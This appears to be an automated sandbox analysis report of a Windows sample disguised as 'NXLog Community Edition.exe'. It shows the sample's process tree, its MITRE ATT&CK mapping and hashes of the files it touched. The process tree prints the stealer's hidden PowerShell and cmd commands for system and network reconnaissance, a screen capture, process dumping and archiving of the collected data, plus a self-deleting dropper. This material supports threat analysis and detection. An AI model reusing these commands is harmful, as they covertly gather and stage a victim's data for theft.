      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7216,i,7645584904994436052,5508821450508900675,524288 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=7220 /prefetch:14
      4⤵
      PID:3948
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5164,i,3732250371478545407,12477595069906840446,524288 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=3448 /prefetch:14
      4⤵
      PID:4040
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4228,i,2645775985977137770,6722297045260670595,524288 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=4224 /prefetch:14
      4⤵
      PID:4528
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5768,i,14837495479302702072,10254480186447859315,524288 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=7008 /prefetch:14
      4⤵
      PID:2500
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5672,i,14897131885906450242,17659188551456820513,524288 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=6884 /prefetch:14
      4⤵
      PID:3500
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4408,i,6903835041533955593,12255417290960433706,524288 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=5792 /prefetch:14
      4⤵
      PID:588
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4336,i,1123817277212780473,6770994068561777077,524288 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=4368 /prefetch:14
      4⤵
      PID:1044
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5944,i,6677493613817660201,16657934222128428490,524288 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=6232 /prefetch:14
      4⤵
      PID:1196
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=4596,i,4393580401910837179,8613253103275614951,262144 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=5792 /prefetch:10
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4840
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7232,i,14187014449934358641,14623638556421451501,524288 --field-trial-handle=2108,i,16151130570226825007,2831587301634494708,262144 --variations-seed-version --mojo-platform-channel-handle=6656 /prefetch:14
      4⤵
      PID:3400
- C:\Users\Admin\AppData\Local\Temp\NXLog Community Edition.exe
  "C:\Users\Admin\AppData\Local\Temp\NXLog Community Edition.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1052
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -WindowStyle Hidden -Command "(Invoke-WebRequest -Uri 'https://api.ipify.org' -UseBasicParsing).Content"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3328
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -WindowStyle Hidden -Command (Get-Culture).Name
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3516
- - C:\Windows\system32\cmd.exe
    "cmd" /C "tzutil /g"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4092
  - - C:\Windows\system32\tzutil.exe
      tzutil /g
      4⤵
      PID:2656
- - C:\Windows\system32\cmd.exe
    "cmd" /C "systeminfo | findstr /C:\"System Boot Time\""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3416
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:1048
  - - C:\Windows\system32\findstr.exe
      findstr /C:\"System Boot Time\"
      4⤵
      PID:3024
- - C:\Windows\system32\cmd.exe
    "cmd" /C "net session >nul 2>&1 && echo Admin || echo User"
    3⤵
    PID:3992
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:4800
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:2816
- - C:\Windows\system32\cmd.exe
    "cmd" /C "whoami /groups"
    3⤵
    PID:1812
  - - C:\Windows\system32\whoami.exe
      whoami /groups
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3096
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -WindowStyle Hidden -Command "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*, HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion, Publisher | Format-Table -AutoSize"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:996
- - C:\Windows\system32\cmd.exe
    "cmd" /C "netstat -ano"
    3⤵
    - System Network Connections Discovery
    PID:2072
  - - C:\Windows\system32\NETSTAT.EXE
      netstat -ano
      4⤵
      System Network Connections Discovery
      Gathers network information
      Suspicious use of AdjustPrivilegeToken
      PID:3052
- - C:\Windows\system32\cmd.exe
    "cmd" /C systeminfo
    3⤵
    PID:668
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; \ Add-Type -AssemblyName System.Drawing; \ $screen = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; \ $bitmap = New-Object System.Drawing.Bitmap $screen.Width, $screen.Height; \ $graphics = [System.Drawing.Graphics]::FromImage($bitmap); \ $graphics.CopyFromScreen($screen.Location, [System.Drawing.Point]::Empty, $screen.Size); \ $bitmap.Save('C:\Users\Admin\AppData\Local\Temp\collected_ZHNNKJRL_20260522_051343\screenshot.png'); \ $graphics.Dispose(); \ $bitmap.Dispose()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3364
- - C:\Windows\system32\cmd.exe
    "cmd" /C "ipconfig /all"
    3⤵
    PID:4272
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /all
      4⤵
      Gathers network information
      PID:1124
- - C:\Windows\system32\cmd.exe
    "cmd" /C "route print"
    3⤵
    PID:3052
  - - C:\Windows\system32\ROUTE.EXE
      route print
      4⤵
      PID:2672
- - C:\Windows\system32\cmd.exe
    "cmd" /C "arp -a"
    3⤵
    - Network Service Discovery
    PID:1188
  - - C:\Windows\system32\ARP.EXE
      arp -a
      4⤵
      Network Service Discovery
      PID:4172
- - C:\Windows\system32\cmd.exe
    "cmd" /C "netstat -ano"
    3⤵
    - System Network Connections Discovery
    PID:1240
  - - C:\Windows\system32\NETSTAT.EXE
      netstat -ano
      4⤵
      System Network Connections Discovery
      Gathers network information
      Suspicious use of AdjustPrivilegeToken
      PID:1048
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -WindowStyle Hidden -Command "Get-Process | ForEach-Object { \"Process: $($_.Name) (PID: $($_.Id))\" try { $_.Modules | Select-Object ModuleName, FileName | Out-String } catch { \" [Access Denied - Cannot enumerate modules]\" } \"\" } | Out-File -FilePath 'C:\Users\Admin\AppData\Local\Temp\collected_ZHNNKJRL_20260522_051343\processes_modules.txt' -Encoding UTF8"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4040
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\core_ZHNNKJRL_20260522_051343' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\ZHNNKJRL_20260522_051343__part01.zip' -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3928
- - C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe
    "C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe"
    3⤵
    - Executes dropped EXE
    PID:484
  - - C:\Windows\system32\wscript.exe
      "wscript" C:\Users\Admin\AppData\Local\Temp\cleanup_sender.vbs
      4⤵
      PID:4928
- C:\Windows\system32\wscript.exe
  "wscript" C:\Users\Admin\AppData\Local\Temp\cleanup_dropper.vbs
  2⤵
  - Deletes itself
  PID:2872

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:452

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4528

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Service Discovery

T1046

Query Registry

T1012

System Information Discovery

T1082

System Network Connections Discovery

T1049

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
MD5 88dc70c361a22feac57b031dd9c1f02f
SHA1 a9b4732260c2a323750022a73480f229ce25d46d
SHA512 19c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c
TLSH
T13551DF313375B1D489163F47192C19C423BF4355FA94AF4CB698620ED92740B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

protocols.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.10\protocols.json
Size 3KB
SHA256 4fd800e7b1a5fb24b13fac2e31946d205012b7c28d8c61580b0669b2fa3517cc
MD5 1de85fec2dfcc28011a7c2aaab95eb5f
SHA1 80e8c954bfbe8f7ee5a2335c8d969ae033935dc3
SHA512 9c7dd37eb0c094b6aa05201e7c71a8f33b9db81284223bcfa595a44a6ac95d5a6820ab6f07b7aa8d26bf207454e94277bf35332e9c009ee63f083752b6b51750
TLSH
T1D1611DB79A3048090E3412B86B19B35DF63E029F1AD598EB76BE568F1F710F7245C54C
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 9ee93a6f7d4cf311fd0e1f40c0afccee1cee462a0ad5d189e6fd12793542e567
MD5 042b5a81b8f9e5f2e5e1b1ef0b9c97b8
SHA1 8164701b94e0509e7ce25bbd729d9a2a541bc216
SHA512 44a62942afbd847ef5fefcdb060d3b4faa54b5f6b612a09366f3622f4beebbd50e527a67ef727bae51d47d0f4a8145e79b81cac52fb6d9ae39e362c50f423a09
TLSH
T14FD02B7111090041C80D0032107386054303FF010A05B8433C6134251D10C49834E094
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 d1b87229f99cc53c652c227dd7b0e674fd1a7f3d2071ecbd7e96d14caf01789e
MD5 12fe7e86ea55bcbc14173d158228b533
SHA1 4d08fab080251fc755b72705a654e4971294953c
SHA512 5f7f520a3c5a907c7487d7831cea4efeb50450367f23409af02c5269a3fd34cd57d86191174e7c2c1b103980b98f431afe701795717921d9887b0f9bcbc45b3e
TLSH
T199D02B7111090041C40D0032107386054303FF010A0578433C6134252D10C09834E094
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 d03ebc3b20fb418485945c3096882045d4352e14413e20e12e5d30fc298d7dc9
MD5 e4180628b0bd8b23ea7d9153a8f7ae89
SHA1 d305533d6909edef0b6606cf3742ec5fed7ce707
SHA512 3d7d63aadbac4dd5205d0f70730e66add0b0151c068405c2f0786c6efb99ba88e19c26c3790c637018a668a52e092b93ce784f496568802dd0a9356f8825aad2
TLSH
T13E713C601257D487E7F5D2F090E24A1BF7F5FEB83A431E2532948977A80DBB6C0149D8
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe587162.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe587162.TMP
Size 3KB
SHA256 21c642c67a52d75d90f0ace633192244d16b12f43ecd0bf9a3b58ac73a1ecb2f
MD5 d5ff3ab898d7d4b82ba25a009b063608
SHA1 472e4c0fd446a27cab060273cf58bad6a6cf3b78
SHA512 dd12618fef938a21f423d9c7684cb2e1a7c9249319f20b908c26d1718a4f6285d6f4903bee0578d4eba70be0a077bb46adf730f0edb712895e83aa933994728a
TLSH
T111615D600257D487E3F4C2F090D24A0BF7F5FEB839532E61329489B7A50DBB2C024AD8
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 a1bf1175a58c0a597ad9c24a6f348be57f30edf1e03e7fc454a548aad9776ed5
MD5 5712ca77eafbd782745037c3b30603ef
SHA1 1f9324a5e08a6165249a2ae7d1127e2863a26205
SHA512 847f3b2ae80cfebfb28c6b38b84242710b0792d30ca02d9445f6c797490d93181accbe207dfbf3217d841ff8835b0fc109cbbdff7845dba68209f7fc8fd67ad8
TLSH
T12741BBF3C3E8866DC91156F4BA186F2FCE1E0914532C3D9AD5E4AF1B93E2870E14195E
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 add6168113fa7a1ea32b1449a44da9e1b0e400508597f8a79e8e61208ede5343
MD5 04180b994aaafcb1969e16b8a118d042
SHA1 00f0b04ceb94ea9926b450f1a2b71f07aaec4106
SHA512 385b2ceab5617ea4049c7b4d07e275d0d64f8df285ff9932f48517a86057928cc6488044708fa291c5a1b2170c4e1b0aee31a8bbfee5e62a0deec8dbfc66938c
SSDEEP 192:sxZEQUnhyRIyM/jK1Ml8MFZB/f5nshld8OICodpyw/W6+WNGY012HOwcOrIg4J:sxZ6nhyadZB/f5nshld3Ej/bG54Oyc
TLSH
T1F752FA166A349977DCDBD218FA05BB53DAF91572E7900E44A9FC860C04E6AED231382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 0aaca74ea19ed9af6ebb64dec913d02a797a3ff28d6190f9624b0372ea452e5b
MD5 441a76648428babae553659e65216966
SHA1 da24cac29d24899860fc7f19808f9befdd06a988
SHA512 7419305638752d2d9d8513756e3bd720dd246409d88b701f646bfc5f3c1eb5bbe78c6fa063c626d1cb81fd96a2c5a820871ee8221cad1b125411b7d0d7bd5dd2
SSDEEP 192:sxZEQUnhyRIyM/jK1Ml8UQ4FZB/f5nsGll8OICodpEw/W6+WNGY012aOw/OrIg57:sxZ6nhyaquZB/f5nsGll3EB/bG5JOnN
TLSH
T1E862FA16AA349977DCDBD219F545BB53DAF91472E6900E44AAFC8B0C00E6ADD230382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 36KB
SHA256 6d5730385249475c73cbefd5ceb8f45f42010ec80f340eb4a51a44f52ce25d82
MD5 63d2d6839d4b570b45d5984d6c9040b4
SHA1 a4afd356e6ee7eacb190f709fb77b0d3f203805b
SHA512 39ee7e6ab1f20b513215b02f1231410c284808ce8371146430ac3af6369962492dc0f2983334f858dc39ca6a512fcaefe1d22f43fd6740e4a89f524cf97ab3ea
SSDEEP 768:ZS4bSV4b+8b4bm2Cu7pLuLXG4bRWRmG4b/QB4bH8F1+UoAYDCx9Tuqh0VfUC9xbP:Zhu+68si2CuEXl1WRmlzQqju1jaKIAwL
TLSH
T14E032C3B280CCB7E4F844E9CEC26BF9A6EE8018B5698885447FE454C03C66EF551B5DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 49c5d8a17e89ca2a1aa69bf0b117a157cf79fa139bb5b19295cf0c6b91859275
MD5 3f67f48f7d8eb64f7c9dadf8998d0afb
SHA1 dc5f3786fe9ddb0162802b8bff6c3e872770334e
SHA512 a16f9f7fc07a2a82a38065150c50ed226a337a09f5fa548a2f1b09ab608d15649ea922254300b481c19e6df48f648aefbf62c0e486609c97404c2647ee236f42
SSDEEP 48:KMWIPKXKofyFbIVKokI/y4CBeyw04kI0HPIHakKWB+YkKS0RnwP:KMW8KXKqubGKokaerWKkYr
TLSH
T105918E4372BA43833C7D2908A7519B671D42B1A77124A82B37A908771E6BF503DFD8DD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data
Size 224KB
SHA256 cbabe4ed3fa7158913c6e28cd119bef6da06aa80eecebdc9487529d180a4507b
MD5 22ed0ceb6e017de4ebf280d8884c57b8
SHA1 6b250f48de12f699eca20f373ceb920ee60c6fd9
SHA512 d939d7bf11c0a8d7bbd13824d2a39019c235536d6d53aacec4d6c43641c86eb80a6ec9309c039ba399532d9791aaabdf82ea98cfa0c58d3ec27d76d726724b1d
SSDEEP 192:FvoWIcBffT8wRJQnGL11HLfzNSivuvTNN+u/egddCeyv/hVRdbsCEV:asBffQ0JQn6lLfzAivuvBN+wtP2s
TLSH
T11924730A7B747001EDE7D9725CB080771E3CB16DCF22A6915DA254698EB2853A23D8FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig~RFe58f519.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig~RFe58f519.TMP
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
T1DB815C4FCC0CBE77ABAB6A719A35D6B2F79131EA94518A977F8C444EE3050ED0242E50
MD5 SHA1 SHA512 TLSH

Submit Download

office_endpoints_list.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Data Protection Lists\2.0.0.0\office_endpoints_list.json
Size 3KB
SHA256 8480f3d58faa017896ba8239f3395e3551325d7a6466497a9a69bf182647b25e
MD5 94406cdd51b55c0f006cfea05745effb
SHA1 a15dc50ca0fd54d6f54fbc6e0788f6dcfc876cc9
SHA512 d4e621f57454fea7049cffc9cc3adfb0d8016360912e6a580f6fe16677e7dd7aa2ee0671cb3c5092a9435708a817f497c3b2cc7aba237d32dbdaae82f10591c3
TLSH
T1F681BE27C5B58E2796F060119750E654F53D43AFA600C6AFB5FC825C2F373ECE88A4A8
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 30KB
SHA256 082a458565112030c9190fc205a945c1d672ec7bed4bd86a7e3066b718927d43
MD5 506dd588078b9ba8cdcab4b5709d4918
SHA1 531e47050da3d00456d20c772943a8a879b5a919
SHA512 9046026ca627fb61404e77ee253bdafe8b064c506f916fb1156520c168d80ad51b4bd0409ef0ba0f5050dbca400656c3bb944fb4241cdbe6660ea21460c5d78c
SSDEEP 384:n5iFVCcmyWCQ8N08TUNTUlIlEhg45W4fDfwF3b+AH8c7XlqBvYHKYW1bbKUjCn:QF0cpQdwgkgtBFrpRgBvYqzb/jCn
TLSH
T13AE2B3F198D78937E8AE5387A77E2D429EBCC067B5845984F7840E4CCC861BFD70A806
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 20KB
SHA256 ad1cfc5d34fb802c3c58d831ddc61a6cc68a4271bd4b99dc3621ebbb2bf93975
MD5 cb425961b973a1a71c5ffec26b9e95bc
SHA1 4afe3014b01825c9f6e0fa42fb1e036e431efe77
SHA512 1c98ece8dc3c2f0ce991961fcf620d5e7ddce97c185539d29cf8e922ddbc16cab2dec1c25de3c8e81922f80d3ad48111384003d7cfff47784b6ce0baff8ad190
SSDEEP 384:nvCcmyWCO8N8qhg45f4r3b+AH8c7Xl7BvYHKYW1bbKUjCn:qcpOMgAcrpRVBvYqzb/jCn
TLSH
T1B5928E31AC79DD7759E6A109F48A36535FB820BBD9841F88D6D85B1D048F29C270FC1B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 20KB
SHA256 dcf9439f90f2c326e9a2655d0da575d838e36dcf1555de5310638c4d1a06f3bb
MD5 0f9cbf7e408321d8482791e64d37e349
SHA1 66772eee13f19d6135174a2cad05ddbaea257e7d
SHA512 8c5ffaa1609acfd1b563e4f11cf5c7ceb4e9a26c11cb539d7341558cd68f0fae4f5ec7d0113919411668f2074973d61722e9be713de00b9ff01012fcf50b5816
SSDEEP 384:nQCcmyWCO8N8Ehg45f4r3b+AH8c7Xl7BvYHKYW1bbKUjCn:zcpO+gAcrpRVBvYqzb/jCn
TLSH
T11F928E31AC79DD7759E6B109F48A36539FB820BBD9841F88C6D85B1D088B29C270FC1B
MD5 SHA1 SHA512 SSDEEP TLSH

